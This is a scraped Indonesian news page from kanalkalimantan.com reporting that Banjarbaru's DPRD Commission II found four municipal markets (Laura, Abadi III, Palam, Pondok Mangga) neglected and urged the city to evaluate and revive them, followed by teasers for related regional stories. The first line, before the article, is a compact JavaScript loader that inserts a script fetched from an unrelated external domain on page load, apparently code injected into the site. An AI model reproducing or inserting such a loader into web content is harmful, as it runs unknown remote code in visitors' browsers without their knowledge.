(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Empat buah pasar terbengkalai tidak optimal difungsikan menjadi perhatian para wakil rakyat di Ibu Kota Provinsi Kalimantan Selatan.
Pasar-pasar itu yakni Pasar Laura, Pasar Abadi III, Pasar Palam, dan Pasar Pondok Mangga.
Setelah melakukan kunjungan lapangan ke beberapa pasar milik Pemerintah Kota Banjarbaru itu, Komisi II DPRD Kota Banjarbaru menemukan masih terdapat sejumlah pasar yang belum berfungsi secara optimal.
Baca juga: Ekonomi Kalsel Tumbuh 4,81 Persen di Triwulan I 2025
Anggota Komisi II DPRD Kota Banjarbaru, Nurkhalis Anshari mengatakan, beberapa bangunan pasar kurang terawat, minim aktivitas perdagangan, bahkan ada yang belum dimanfaatkan sama sekali sesuai peruntukannya.
“Kondisi ini tentu menjadi perhatian serius kami dari Komisi II DPRD. Itu mengingat pasar merupakan salah satu aset strategis daerah yang seharusnya mampu menjadi penggerak ekonomi masyarakat, serta sumber pendapatan bagi daerah,” ujar Nurkhalis Anshari.
Komisi II DPRD Banjarbaru, kata dia, menilai perlu ada evaluasi menyeluruh terkait pengelolaan aset pasar, mulai dari perencanaan, pembangunan, hingga penempatan pedagang dan sistem manajemen pasar.
Baca juga: Komisi II DPRD Banjarbaru Soroti Empat Pasar Mangkrak
Karena itu Komisi II mendorong agar Pemerintah Kota Banjarbaru di kepemimpinan Wali Kota Lisa Halaby melalui dinas terkait segera mengambil langkah konkret.
“Mulai dari pendataan ulang aset pasar dan status pemanfaatannya, identifikasi hambatan yang menyebabkan pasar tidak berfungsi maksimal, hingga kolaborasi dengan pelaku usaha dan stakeholder terkait agar pasar lebih hidup, dan sesuai kebutuhan masyarakat,” jelasnya.
Perlu juga kata Khalis, skema kerja sama dengan pihak ketiga atau pemanfaatan lainnya agar aset-aset tersebut tidak terbengkalai hingga alih fungsi aset bisa lebih dioptimalkan untuk pembangunan dan perkembangan Kota Banjarbaru.
Baca juga: Gubernur H Muhidin Apresiasi Pabrik Air Minum Kemasan di Banua
“Kami meyakini, jika pasar-pasar itu dapat dioptimalkan dengan baik, tidak hanya akan menggerakkan ekonomi lokal, tapi juga akan meningkatkan pendapatan asli daerah dan membuka lapangan kerja baru bagi masyarakat Banjarbaru,” imbuh dia.
Khalis menegaskan Komisi II akan terus mengawal dan mengawasi proses perbaikan tata kelola pasar ini agar benar-benar membawa manfaat bagi masyarakat. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More
Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More
KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More
This website uses cookies.